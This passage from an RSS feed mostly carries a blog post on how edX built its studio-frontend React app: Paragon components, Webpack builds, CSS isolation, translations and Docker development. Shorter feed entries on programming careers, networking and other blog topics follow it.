-------------------------------------------------------------------------------
 Total                6720      1317061      1016455       134798       165808
-------------------------------------------------------------------------------
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;35% of the edx-platform is JavaScript. While it has served edX well since its
inception in 2012, reaching over 11 million learners in thousands of courses on
&lt;a href="https://www.edx.org/"&gt;edX.org&lt;/a&gt; and many more millions on all of the &lt;a href="https://openedx.atlassian.net/wiki/spaces/COMM/pages/162245773/Sites+powered+by+Open+edX"&gt;Open edX
instances across the
world&lt;/a&gt;,
it is starting to show its age. Most of it comes in the form of &lt;a href="http://backbonejs.org/"&gt;Backbone.js
apps&lt;/a&gt; loaded by &lt;a href="http://requirejs.org/"&gt;RequireJS&lt;/a&gt; in
Django &lt;a href="http://www.makotemplates.org/"&gt;Mako templates&lt;/a&gt;, with
&lt;a href="https://jquery.com/"&gt;jQuery&lt;/a&gt; peppered throughout.&lt;/p&gt;

&lt;p&gt;Many valiant efforts are underway to modernize the frontend of edx-platform
including replacing RequireJS with Webpack, Backbone.js with
&lt;a href="https://reactjs.org/"&gt;React&lt;/a&gt;, and ES5 JavaScript and CoffeeScript with ES6
JavaScript. Many of these efforts &lt;a href="https://www.youtube.com/watch?v=xicBnbDX4AY"&gt;were covered in detail at the last Open edX
conference&lt;/a&gt; and in &lt;a href="https://open-edx-proposals.readthedocs.io/en/latest/oep-0011-bp-FED-technology.html"&gt;Open edX
Proposal 11: Front End Technology
Standards&lt;/a&gt;.
However, the size and complexity of the edx-platform means that these kind of
efforts are hard to prioritize, and, in the meantime, frontend developers are
forced to &lt;a href="https://openedx.atlassian.net/wiki/spaces/FEDX/pages/264700138/Asset+Compilation+Audit+2017-11-01"&gt;wait over 10
minutes&lt;/a&gt;
for our home-grown asset pipeline to build before they can view changes.&lt;/p&gt;

&lt;p&gt;There have also been efforts to incrementally modularize and extract parts of
the edx-platform into separate python packages that could be installed as
&lt;a href="https://docs.djangoproject.com/en/2.0/ref/applications/"&gt;Django apps&lt;/a&gt;, or even
as separately deployed
&lt;a href="https://en.wikipedia.org/wiki/Microservices"&gt;microservices&lt;/a&gt;. This allows
developers to work independently from the rest of the organization inside of a
repository that they own, manage, and is small enough that they could feasibly
understand it entirely.&lt;/p&gt;

&lt;p&gt;When my team was tasked with improving the user experience of pages in
&lt;a href="https://studio.edx.org/"&gt;Studio&lt;/a&gt;, the tool that course authors use to create
course content, we opted to take a similar architectural approach with the
frontend and create a new repository where we could develop new pages in
isolation and then integrate them back into the edx-platform as a plugin. We
named this new independent repository
&lt;a href="https://github.com/edx/studio-frontend"&gt;studio-frontend&lt;/a&gt;. With this approach,
our team owns the entire studio-frontend code-base and can make the best
architectural changes required for its features without having to consult with
and contend with all of the other teams at edX that contribute to the
edx-platform. Developers of studio-frontend can also avoid the platform’s slow
asset pipeline by doing all development within the studio-frontend repository
and then later integrating the changes into platform.&lt;/p&gt;

&lt;h2 id="react-and-paragon"&gt;React and Paragon&lt;/h2&gt;

&lt;p&gt;When edX recently started to conform our platform to the &lt;a href="https://www.w3.org/WAI/intro/wcag"&gt;Web Content
Accessibility Guidelines 2.0 AA (WCAG 2.0
AA)&lt;/a&gt;, we faced many challenges in
retrofitting our existing frontend code to be accessible.  Rebuilding Studio
pages from scratch in studio-frontend allows us to not only follow the latest
industry standards for building robust and performant frontend applications, but
to also build with accessibility in mind from the beginning.&lt;/p&gt;

&lt;p&gt;The Javascript community has made great strides recently to &lt;a href="https://reactjs.org/docs/accessibility.html"&gt;address
accessibility issues in modern web
apps&lt;/a&gt;. However, we had trouble
finding an open-source React component library that fully conformed to WCAG 2.0
AA and met all of edX’s needs, so we decided to build our own:
&lt;a href="https://github.com/edx/paragon"&gt;Paragon&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Paragon is a library of building-block components like buttons, inputs, icons,
and tables which were built from scratch in React to be accessible. The
components are styled using the &lt;a href="https://github.com/edx/edx-bootstrap"&gt;Open edX theme of Bootstrap
v4&lt;/a&gt; (edX’s decision to adopt Bootstrap is
covered in
&lt;a href="https://open-edx-proposals.readthedocs.io/en/latest/oep-0016-bp-adopt-bootstrap.html"&gt;OEP-16&lt;/a&gt;).
Users of Paragon may also choose to use the
&lt;a href="https://github.com/edx/paragon#export-targets"&gt;themeable&lt;/a&gt; unstyled target and
provide their own Bootstrap theme.&lt;/p&gt;

&lt;p&gt;&lt;img alt="Paragon's modal component displayed in
Storybook" src="/img/blog/paragon-modal-storybook.jpg" /&gt;&lt;/p&gt;

&lt;p&gt;Studio-frontend composes together Paragon components into higher-level
components like &lt;a href="https://github.com/edx/studio-frontend/blob/master/src/accessibilityIndex.jsx"&gt;an accessibility
form&lt;/a&gt;
or &lt;a href="https://github.com/edx/studio-frontend/blob/master/src/index.jsx"&gt;a table for course assets with searching, filtering, sorting, pagination,
and upload&lt;/a&gt;.
While we developed these components in studio-frontend, we were able to improve
the base Paragon components. Other teams at edX using the same components were
able to receive the same improvements with a single package update.&lt;/p&gt;

&lt;p&gt;&lt;img alt="Screenshot of the studio-frontend assets table inside of
Studio" src="/img/blog/studio-frontend-assets-table.jpg" /&gt;&lt;/p&gt;

&lt;h2 id="integration-with-studio"&gt;Integration with Studio&lt;/h2&gt;

&lt;p&gt;We were able to follow the typical best practices for developing a React/Redux
application inside studio-frontend, but at the end of the day, we still had to
somehow get our components inside of existing Studio pages and this is where
most of the challenges arose.&lt;/p&gt;

&lt;h2 id="webpack"&gt;Webpack&lt;/h2&gt;

&lt;p&gt;The aforementioned move from RequireJS to Webpack in the edx-platform made it
possible for us to build our studio-frontend components from source with Webpack
within edx-platform. However, this approach tied us to the edx-platform’s slow
asset pipeline. If we wanted rapid development, we had to duplicate the
necessary Webpack config between both studio-frontend and edx-platform.&lt;/p&gt;

&lt;p&gt;Instead, studio-frontend handles building the development and production Webpack
builds itself. In development mode, the incremental rebuild that happens
automatically when a file is changed takes under a second. The production
JavaScript and CSS bundles, which take about 25 seconds to build, are published
with every new release to
&lt;a href="https://www.npmjs.com/package/@edx%2Fstudio-frontend"&gt;NPM&lt;/a&gt;. The edx-platform
&lt;code class="language-plaintext highlighter-rouge"&gt;npm install&lt;/code&gt;s studio-frontend and then copies the built production files from
&lt;code class="language-plaintext highlighter-rouge"&gt;node_modules&lt;/code&gt; into its Django static files directory where the rest of the
asset pipeline will pick it up.&lt;/p&gt;

&lt;p&gt;To actually use the built JavaScript and CSS, edx-platform still needs to
include it in its Mako templates. We made a &lt;a href="https://github.com/edx/edx-platform/blob/master/common/djangoapps/pipeline_mako/templates/static_content.html#L93-L122"&gt;Mako template
tag&lt;/a&gt;
that takes a Webpack entry point name in studio-frontend and generates script
tags that include the necessary files from the studio-frontend package. It also
dumps all of the initial context that studio-frontend needs from the
edx-platform Django app into &lt;a href="https://github.com/edx/edx-platform/blob/master/cms/templates/asset_index.html#L36-L56"&gt;a JSON
object&lt;/a&gt;
in a script tag on the page that studio-frontend components can access via a
shared id. This is how studio-frontend components get initial data from Studio,
like which course it’s embedded in.&lt;/p&gt;

&lt;p&gt;For performance, modules that are shared across all studio-frontend components
are extracted into &lt;code class="language-plaintext highlighter-rouge"&gt;common.min.js&lt;/code&gt; and &lt;code class="language-plaintext highlighter-rouge"&gt;common.min.css&lt;/code&gt; files that are included
on every Studio template that has a studio-frontend component. User’s browsers
should cache these files so that they do not have to re-download libraries like
React and Redux every time they visit a new page that contains a studio-frontend
component.&lt;/p&gt;

&lt;h2 id="css-isolation"&gt;CSS Isolation&lt;/h2&gt;

&lt;p&gt;Since the move to Bootstrap had not yet reached the Studio part of the
edx-platform, most of the styling clashed with the Bootstrap CSS that
studio-frontend components introduced. And, the Bootstrap styles were also
leaking outside of the studio-frontend embedded component &lt;code class="language-plaintext highlighter-rouge"&gt;div&lt;/code&gt; and affecting
the rest of the Studio page around it.&lt;/p&gt;

&lt;p&gt;&lt;img alt="Diagram of a studio-frontend component embedded inside of
Studio" src="/img/blog/studio-frontend-style-isolation.jpg" /&gt;&lt;/p&gt;

&lt;p&gt;We were able to prevent styles leaking outside of the studio-frontend component
by scoping all CSS to only the &lt;code class="language-plaintext highlighter-rouge"&gt;div&lt;/code&gt; that wraps the component. Thanks to the
Webpack &lt;a href="https://github.com/postcss/postcss-loader"&gt;postcss-loader&lt;/a&gt; and the
&lt;a href="https://github.com/ledniy/postcss-prepend-selector"&gt;postcss-prepend-selector&lt;/a&gt;
we were able to automatically scope all of our CSS selectors to that &lt;code class="language-plaintext highlighter-rouge"&gt;div&lt;/code&gt; in
our build process.&lt;/p&gt;

&lt;p&gt;Preventing the Studio styles from affecting our studio-frontend component was a
much harder problem because it means avoiding the inherently cascading nature of
CSS. A common solution to this issue is to place the 3rd-party component inside
of an
&lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe"&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;iframe&lt;/code&gt;&lt;/a&gt;
element, which essentially creates a completely separate sub-page where both CSS
and JavaScript are isolated from the containing page. Because &lt;code class="language-plaintext highlighter-rouge"&gt;iframe&lt;/code&gt;s
introduce many other performance and styling issues, we wanted to find a
different solution to isolating CSS.&lt;/p&gt;

&lt;p&gt;The CSS style &lt;a href="https://developer.mozilla.org/en-US/docs/Web/CSS/all"&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;all:
initial&lt;/code&gt;&lt;/a&gt; allows
resetting all properties on an element to their initial values as defined in the
CSS spec. Placing this style under a wildcard selector in studio-frontend
allowed us to reset all inherited props from the legacy Studio styles without
having to enumerate them all by hand.&lt;/p&gt;

&lt;div class="language-css highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;all&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;initial&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;While this CSS property doesn’t have broad browser support yet, we were able to
polyfill it thanks to postcss with the
&lt;a href="https://github.com/maximkoretskiy/postcss-initial"&gt;postcss-initial&lt;/a&gt; plugin.&lt;/p&gt;

&lt;p&gt;However, this resets the styles to &lt;em&gt;nothing&lt;/em&gt;. For example, all &lt;code class="language-plaintext highlighter-rouge"&gt;div&lt;/code&gt;s are
displayed inline. To return the styles back to to some sane browser default we
had to re-apply a browser default stylesheet. You can read more about this
technique at
&lt;a href="https://github.com/thallada/default-stylesheet"&gt;default-stylesheet&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;From there, Bootstrap’s
&lt;a href="https://getbootstrap.com/docs/4.0/content/reboot/"&gt;reboot&lt;/a&gt; normalizes the
browser-specific styling to a common baseline and then applies the Bootstrap
styles conflict-free from the surrounding CSS cascade.&lt;/p&gt;

&lt;p&gt;There’s a candidate recommendation in CSS for a &lt;a href="https://www.w3.org/TR/css-contain-1/"&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;contains&lt;/code&gt;
property&lt;/a&gt;, which will “allow strong,
predictable isolation of a subtree from the rest of the page”. I hope that it
will provide a much more elegant solution to this problem once browsers support
it.&lt;/p&gt;

&lt;h2 id="internationalization"&gt;Internationalization&lt;/h2&gt;

&lt;p&gt;Another major challenge with separating out the frontend from edx-platform was
that most of our internationalization tooling was instrumented inside the
edx-platform. So, in order to display text in studio-frontend components in the
correct language we either had to pass already-translated strings from the
edx-platform into studio-frontend, or set-up translations inside
studio-frontend.&lt;/p&gt;

&lt;p&gt;We opted for the latter because it kept the content close to the code that used
it. Every display string in a component is stored in a
&lt;a href="https://github.com/edx/studio-frontend/blob/master/src/components/AssetsTable/displayMessages.jsx"&gt;displayMessages.jsx&lt;/a&gt;
file and then imported and referenced by an id within the component. A periodic
job extracts these strings from the project, pushes them up to our translations
service &lt;a href="https://www.transifex.com/"&gt;Transifex&lt;/a&gt;, and pulls any new translations
to store them in our NPM package.&lt;/p&gt;

&lt;p&gt;Because Transifex’s &lt;code class="language-plaintext highlighter-rouge"&gt;KEYVALUEJSON&lt;/code&gt; file format does not allow for including
comments in the strings for translation, &lt;a href="https://github.com/efischer19"&gt;Eric&lt;/a&gt;
created a library called &lt;a href="https://github.com/efischer19/reactifex"&gt;reactifex&lt;/a&gt;
that will send the comments in separate API calls.&lt;/p&gt;

&lt;p&gt;Studio includes the user’s language in the context that it sends a
studio-frontend component for initialization. Using this, the component can
display the message for that language if it exists. If it does not, then it will
display the original message in English and &lt;a href="https://github.com/edx/studio-frontend/blob/master/src/utils/i18n/formattedMessageWrapper.jsx"&gt;wrap it in a &lt;code class="language-plaintext highlighter-rouge"&gt;span&lt;/code&gt; with &lt;code class="language-plaintext highlighter-rouge"&gt;lang="en"&lt;/code&gt;
as an
attribute&lt;/a&gt;
so that screen-readers know to read it in English even if their default is some
other language.&lt;/p&gt;

&lt;p&gt;Read more about studio-frontend’s internationalization process in &lt;a href="https://github.com/edx/studio-frontend/blob/master/src/data/i18n/README.md"&gt;the
documentation that Eric
wrote&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id="developing-with-docker"&gt;Developing with Docker&lt;/h2&gt;

&lt;p&gt;To normalize the development environment across the whole studio-frontend team,
development is done in a Docker container. This is a minimal Ubuntu 16.04
container with specific version of Node 8 installed and its only purpose is to
run Webpack. This follows the pattern established in &lt;a href="https://open-edx-proposals.readthedocs.io/en/latest/oep-0005-arch-containerize-devstack.html"&gt;OEP-5: Pre-built
Development
Environments&lt;/a&gt;
for running a single Docker container per process that developers can easily
start without installing dependencies.&lt;/p&gt;

&lt;p&gt;Similar to edX’s &lt;a href="https://github.com/edx/devstack"&gt;devstack&lt;/a&gt; there is a Makefile
with commands to start and stop the docker container. The docker container then
immediately runs &lt;a href="https://github.com/edx/studio-frontend/blob/master/package.json#L12"&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;npm run
start&lt;/code&gt;&lt;/a&gt;,
which runs Webpack with the
&lt;a href="https://github.com/webpack/webpack-dev-server"&gt;webpack-dev-server&lt;/a&gt;. The
webpack-dev-server is a node server that serves assets built by Webpack.
&lt;a href="https://github.com/edx/studio-frontend/blob/master/config/webpack.dev.config.js#L94"&gt;Studio-frontend’s Webpack
config&lt;/a&gt;
makes this server available to the developer’s host machine
at &lt;code class="language-plaintext highlighter-rouge"&gt;http://localhost:18011&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;With &lt;a href="https://webpack.js.org/concepts/hot-module-replacement/"&gt;hot-reload&lt;/a&gt;
enabled, developers can now visit that URL in their browser, edit source files
in studio-frontend, and then see changes reflected instantly in their browser
once Webpack finishes its incremental rebuild.&lt;/p&gt;

&lt;p&gt;However, many studio-frontend components need to be able to talk to the
edx-platform Studio backend Django server. Using &lt;a href="https://docs.docker.com/compose/networking/#use-a-pre-existing-network"&gt;docker’s network connect
feature&lt;/a&gt;
the studio-frontend container can join the developer’s existing docker devstack
network so that the studio-frontend container can make requests to the docker
devstack Studio container at &lt;code class="language-plaintext highlighter-rouge"&gt;http://edx.devstack.studio:18010/&lt;/code&gt; and Studio can
access studio-frontend at &lt;code class="language-plaintext highlighter-rouge"&gt;http://dahlia.studio-fronend:18011/&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The webpack-dev-server can now &lt;a href="https://github.com/edx/studio-frontend/blob/master/config/webpack.dev.config.js#L101"&gt;proxy all
requests&lt;/a&gt;
to Studio API endpoints (like &lt;code class="language-plaintext highlighter-rouge"&gt;http://localhost:18011/assets&lt;/code&gt;)
to &lt;code class="language-plaintext highlighter-rouge"&gt;http://edx.devstack.studio:18010/&lt;/code&gt;.&lt;/p&gt;

&lt;h2 id="developing-within-docker-devstack-studio"&gt;Developing within Docker Devstack Studio&lt;/h2&gt;

&lt;p&gt;Since studio-frontend components will be embedded inside of an existing Studio
page shell, it’s often useful to develop on studio-frontend containers inside of
this set-up. &lt;a href="https://github.com/edx/studio-frontend#development-inside-devstack-studio"&gt;This can be
done&lt;/a&gt;
by setting a variable in the devstack’s &lt;code class="language-plaintext highlighter-rouge"&gt;cms/envs/private.py&lt;/code&gt;:&lt;/p&gt;

&lt;div class="language-python highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;STUDIO_FRONTEND_CONTAINER_URL&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;'http://localhost:18011'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This setting is checked in the Studio Mako templates wherever studio-frontend
components are embedded. If it is set to a value other than &lt;code class="language-plaintext highlighter-rouge"&gt;None&lt;/code&gt;, then the
templates will request assets from that URL instead of the Studio’s own static
assets directory. When a developer loads a Studio page with an embedded
studio-frontend component, their studio-frontend webpack-dev-server will be
requested at that URL. Similarly to developing on studio-frontend in isolation,
edits to source files will trigger a Webpack compilation and the Studio page
will be hot-reloaded or reloaded to reflect the changes automatically.&lt;/p&gt;

&lt;p&gt;Since the studio-frontend JS loaded on &lt;code class="language-plaintext highlighter-rouge"&gt;localhost:18010&lt;/code&gt; is now requesting the
webpack-dev-server on &lt;code class="language-plaintext highlighter-rouge"&gt;localhost:18011&lt;/code&gt;,
an &lt;a href="https://github.com/edx/studio-frontend/blob/master/config/webpack.dev.config.js#L98"&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;Access-Control-Allow-Origin&lt;/code&gt; header&lt;/a&gt;
has to be configured on the webpack-dev-server to get around CORS violations.&lt;/p&gt;

&lt;p&gt;&lt;img alt="Diagram of studio-frontend's docker container communicating to Studio inside
of the devstack_default docker 
network" src="/img/blog/studio-frontend-docker-devstack.jpg" /&gt;&lt;/p&gt;

&lt;h2 id="deploying-to-production"&gt;Deploying to Production&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://github.com/edx/studio-frontend#releases"&gt;Each release of
studio-frontend&lt;/a&gt; will upload
the &lt;code class="language-plaintext highlighter-rouge"&gt;/dist&lt;/code&gt; files built by Webpack in production mode to
&lt;a href="https://www.npmjs.com/package/@edx/studio-frontend"&gt;NPM&lt;/a&gt;. edx-platform
requires a particular version of studio-frontend in its
&lt;a href="https://github.com/edx/edx-platform/blob/master/package.json#L7"&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;package.json&lt;/code&gt;&lt;/a&gt;.
When a new release of edx-platform is made, &lt;code class="language-plaintext highlighter-rouge"&gt;paver update_assets&lt;/code&gt; will run
which will copy all of the files in the
&lt;code class="language-plaintext highlighter-rouge"&gt;node_modules/@edx/studio-frontend/dist/&lt;/code&gt; to the Studio static folder.
Because &lt;code class="language-plaintext highlighter-rouge"&gt;STUDIO_FRONTEND_CONTAINER_URL&lt;/code&gt; will be &lt;code class="language-plaintext highlighter-rouge"&gt;None&lt;/code&gt; in production, it will be
ignored, and Studio pages will request studio-frontend assets from that static
folder.&lt;/p&gt;

&lt;h2 id="future"&gt;Future&lt;/h2&gt;

&lt;p&gt;Instead of “bringing the new into the old”, we’d eventually like to move to a
model where we “work in the new and bring in the old if necessary”. We could
host studio-frontend statically on a completely separate server which talks to
Studio via a REST (or &lt;a href="https://graphql.org/"&gt;GraphQL&lt;/a&gt;) API. This approach would
eliminate the complexity around CSS isolation and bring big performance wins for
our users, but it would require us to rewrite more of Studio.&lt;/p&gt;</description><author>Tyler Hallada - Blog</author><pubDate>Thu, 26 Apr 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.hallada.net/2018/04/26/studio-frontend.html</guid></item><item><title>David's Definitive Marvel Movies Ranking</title><link>https://xavd.id/blog/post/marvel-movies-ranked/</link><description>Read my personal ranking of all currently-released MCU Movies. You won't believe how many there are! Seriously, they just keep making these things.&lt;br /&gt;&lt;br /&gt;&lt;a href="https://xavd.id/blog/post/marvel-movies-ranked/"&gt;Read the whole thing&lt;/a&gt;.</description><author>The David Brownman Blog</author><pubDate>Thu, 26 Apr 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xavd.id/blog/post/marvel-movies-ranked/</guid></item><item><title>6 Questions to Ask When You Interview for a Software Development Position</title><link>https://www.mikekasberg.com/blog/2018/04/25/6-questions-to-ask-when-you-interview.html</link><description>&lt;p&gt;I recently completed a job search where I had the pleasure of interviewing at
several companies. Throughout the process, I developed and refined a list of
questions to ask the companies I interviewed with.&lt;/p&gt;

&lt;p&gt;I’ve also spent a lot of time on the other side of the interview process, and
I’m often surprised when the candidates I’m interviewing don’t have any good
questions prepared to ask me. They should want to know how we do things here!
Asking good questions during the interview process helps both parties find the
right fit, so I decided to share some of the best questions I’ve found.&lt;/p&gt;

&lt;!--more--&gt;
&lt;h3 id="what-types-of-computers-do-your-developers-use"&gt;What types of computers do your developers use?&lt;/h3&gt;

&lt;p&gt;Obviously, there’s a pretty big difference between developing on macOS or
Windows, and many developers have a strong preference for one or the other.
Hopefully you already have an idea what the answer to this one might be before
you get too far into the interview. But it’s also good to go a little deeper -
what kind of hardware do developers get? Are they using SSDs? Does the company
buy licenses for IDEs and other tools? You might not want to work for a company
where you won’t have the tools you need to be great at your job.&lt;/p&gt;

&lt;h3 id="what-are-the-expectations-for-off-hours-work"&gt;What are the expectations for off-hours work?&lt;/h3&gt;

&lt;p&gt;Will you be on call 24/7? Are there late-night or weekend deploys? How often?
Most companies have some kind of off-hours work for their developers, and it’s
good do know about it up front. Going into the interview, think about what your
own expectations are for off-hours work and how much you’re willing to
compromise.&lt;/p&gt;

&lt;h3 id="what-is-the-process-for-getting-code-reviewed-merged-and-released"&gt;What is the process for getting code reviewed, merged, and released?&lt;/h3&gt;

&lt;p&gt;The answer to this question will have a &lt;em&gt;huge&lt;/em&gt; effect on some of your primary
responsibilities, yet the way these processes are handled varies greatly from
company to company.  Will you be creating pull requests on a private Github
repository? Or will your code be stored on a shared file server without version
control? Does the company use continuous deployment, or will your code sit for a
while and be deployed as part of a later release? How long are the release
cycles? The answer to this question can be complex, but it’s a good question to
ask because it can give you &lt;em&gt;a lot&lt;/em&gt; of insight into the company’s processes. In
fact, this is one of my favorite questions to ask during an interview. It lets a
company show off their strengths, but also exposes some of their weaknesses, and
it can be an entry point into a discussion about what value you might be able to
provide as a new employee.&lt;/p&gt;

&lt;h3 id="how-do-you-test-the-software-you-develop"&gt;How do you test the software you develop?&lt;/h3&gt;

&lt;p&gt;Is there a QA team? Do developers do their own testing? What is the balance
between unit and integration tests? There are pretty big differences between the
way different companies test their software, and again, this can reveal a lot
about the company. What are your own beliefs about testing, and how much are you
willing to deviate from those? For me, it’s a big red flag if there’s little to
no unit testing. This question is a great follow-up to the previous one, and can
lead to a broader discussion of testing practices.&lt;/p&gt;

&lt;h3 id="how-is-developer-work-scheduled-and-managed"&gt;How is developer work scheduled and managed?&lt;/h3&gt;

&lt;p&gt;Many companies use Scrum, Kanban, or some other agile methodology. Some
companies aren’t agile. There’s no “correct” answer here, but it’s still an
important interview question to ask because it has a big effect on your
day-to-day work. Going into the interview, you should at least have an idea
of what is involved in some of the most common development methodologies so you
can have an intelligent conversation about it.&lt;/p&gt;

&lt;h3 id="what-is-an-example-of-a-project-i-might-work-on"&gt;What is an example of a project I might work on?&lt;/h3&gt;

&lt;p&gt;What will the balance of front-end vs back-end work be? Does the type of work
you’ll be doing align with your interests? Many companies list open roles as
generic “software engineer” positions. It’s important to gain a little more
insight into which technologies you’ll be working with on the job so that you
can make sure you do something you enjoy. Often, there will be differences
between your initial perception of the company and the type of projects you
might actually work on, and it’s important to talk about those.&lt;/p&gt;

&lt;h2 id="so-will-you-like-the-job"&gt;So… Will you like the job?&lt;/h2&gt;

&lt;p&gt;I like these questions because they are all designed to help you get a better
idea of &lt;em&gt;what you’ll do on a daily basis&lt;/em&gt; at your new job. It’s surprising to me
how little people sometimes know about the position they’re interviewing for and
the responsibilities the position entails. Hopefully these questions can be the
seed of some useful and productive discussions throughout your interview
process, and lead to a job you really enjoy!&lt;/p&gt;</description><author>Mike Kasberg's Blog</author><pubDate>Wed, 25 Apr 2018 15:30:00 GMT</pubDate><guid isPermaLink="true">https://www.mikekasberg.com/blog/2018/04/25/6-questions-to-ask-when-you-interview.html</guid></item><item><title>Infrastructure as code in the home</title><link>https://www.skouf.com/posts/iac-in-the-home/</link><description>&lt;p&gt;Infrastructure as Code (herein IaC) is ubiquitous when managing large infrastructure deployments.
But when we don’t have hundreds of machines to manage, is IaC still useful?&lt;/p&gt;</description><author>skouf.com</author><pubDate>Wed, 25 Apr 2018 15:12:23 GMT</pubDate><guid isPermaLink="true">https://www.skouf.com/posts/iac-in-the-home/</guid></item><item><title>Breaking into the SHARING economy???</title><link>https://stop.zona-m.net/2018/04/breaking-into-the-sharing-economy/</link><description>&lt;p&gt;I have argued for a while, making concrete examples, that it is really ridiculous, and a sign of incompetence, to call stuff like Uber or AirBnB &amp;ldquo;sharing economy&amp;rdquo;. This week one of those examples came true.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Wed, 25 Apr 2018 14:27:53 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/04/breaking-into-the-sharing-economy/</guid></item><item><title>An entrancing dance with just the hands</title><link>https://ilearnt.com/blog/dancingwithhands/</link><description>&lt;p&gt;My daughter loves dancing. She was entranced by this (so was I). The effort this must have taken to choreograph and the level of control between both the dancers is impressive.&lt;/p&gt;</description><author>I Learnt</author><pubDate>Wed, 25 Apr 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://ilearnt.com/blog/dancingwithhands/</guid></item><item><title>IPv6 With BT Infinity and an EdgeRouter X</title><link>https://grh.am/2018/ipv6-with-bt-infinity-and-an-edgerouter-x/</link><description>&lt;p&gt;In late 2016, I replaced my ISP router &amp;amp; modem combination – &lt;a href="https://arstechnica.com/gadgets/2017/04/how-fast-is-the-bt-smart-hub/"&gt;the BT SmartHub 6&lt;/a&gt; – with separate bits of kit, to give me a little more freedom and something to occasionally tinker with. After a bit of research and bargain hunting, I ended up with:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Modem – BT Openreach ECI VDSL 1b&lt;/li&gt;
&lt;li&gt;Router – Linksys WRT1200AC&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I originally picked up the WRT1200AC for its wireless speed &amp;amp; the ability to use opensource operating systems on it. I ran it from the very beginning with OpenWRT/LEDE, but found it cumbersome to keep it up to date. Upgrading LEDE meant I had to continually reinstall various software packages which didn&amp;rsquo;t come as standard (igmpproxy for multicast connections for BT YouView etc.), as well as reinstating the config for that software. Whilst I could have written scripts to handle all of this, it felt clunky and not really fit for purpose. You want your router to be almost invisible &amp;amp; rock solid, not something you have to SSH into every couple of weeks.&lt;/p&gt;</description><author>Graham Stevens – Grh.am</author><pubDate>Wed, 25 Apr 2018 13:22:47 GMT</pubDate><guid isPermaLink="true">https://grh.am/2018/ipv6-with-bt-infinity-and-an-edgerouter-x/</guid></item><item><title>The Unreasonable Effectiveness of Quasirandom Sequences</title><link>https://extremelearning.com.au/unreasonable-effectiveness-of-quasirandom-sequences/</link><description>I present a new low discrepancy quasirandom sequence that offers many substantial improvements over other popular sequences such as the Sobol and Halton sequences. First published: 25th April, 2018 Last updated:    24 July, 2025 This blog post has been featured on the front page of Hacker News a few  times (Aug 2018, Oct 2020 &amp;#8230; &lt;p class="link-more"&gt;&lt;a class="more-link" href="https://extremelearning.com.au/unreasonable-effectiveness-of-quasirandom-sequences/"&gt;Continue reading&lt;span class="screen-reader-text"&gt; "The Unreasonable Effectiveness of Quasirandom Sequences"&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;</description><author>Extreme Learning</author><pubDate>Wed, 25 Apr 2018 08:18:03 GMT</pubDate><guid isPermaLink="true">https://extremelearning.com.au/unreasonable-effectiveness-of-quasirandom-sequences/</guid></item><item><title>Blue night</title><link>https://www.unsungnovelty.org/gallery/blue-night/</link><description/><author>unsungNovelty</author><pubDate>Wed, 25 Apr 2018 03:18:20 GMT</pubDate><guid isPermaLink="true">https://www.unsungnovelty.org/gallery/blue-night/</guid></item><item><title>SEO on a budget</title><link>https://yasha.solutions/seo-on-a-budget/</link><description>SEO isn’t hard
you need good content and good link.
That’s kind of all.
But when you cannot do any of these or you want to accelerate the process, might be worth thinking how you’re gonna optimise that process.
Finding good content on this is pretty hard.
This video however is really a neat finding.
So enjoy !</description><author>Yasha Solutions</author><pubDate>Wed, 25 Apr 2018 01:11:55 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/seo-on-a-budget/</guid></item><item><title>Vue component layout</title><link>https://yasha.solutions/vue-component-layout/</link><description>https://github.com/quasarframework/quasar https://github.com/vuetifyjs/vuetify https://vuematerial.io/ https://github.com/buefy/buefy https://at-ui.github.io/at-ui/#/en http://element.eleme.io/#/en-US</description><author>Yasha Solutions</author><pubDate>Wed, 25 Apr 2018 01:04:21 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/vue-component-layout/</guid></item><item><title>Should everybody learn to code?</title><link>https://yasha.solutions/should-everybody-learn-to-code/</link><description>Given the over enthusiasm for programming
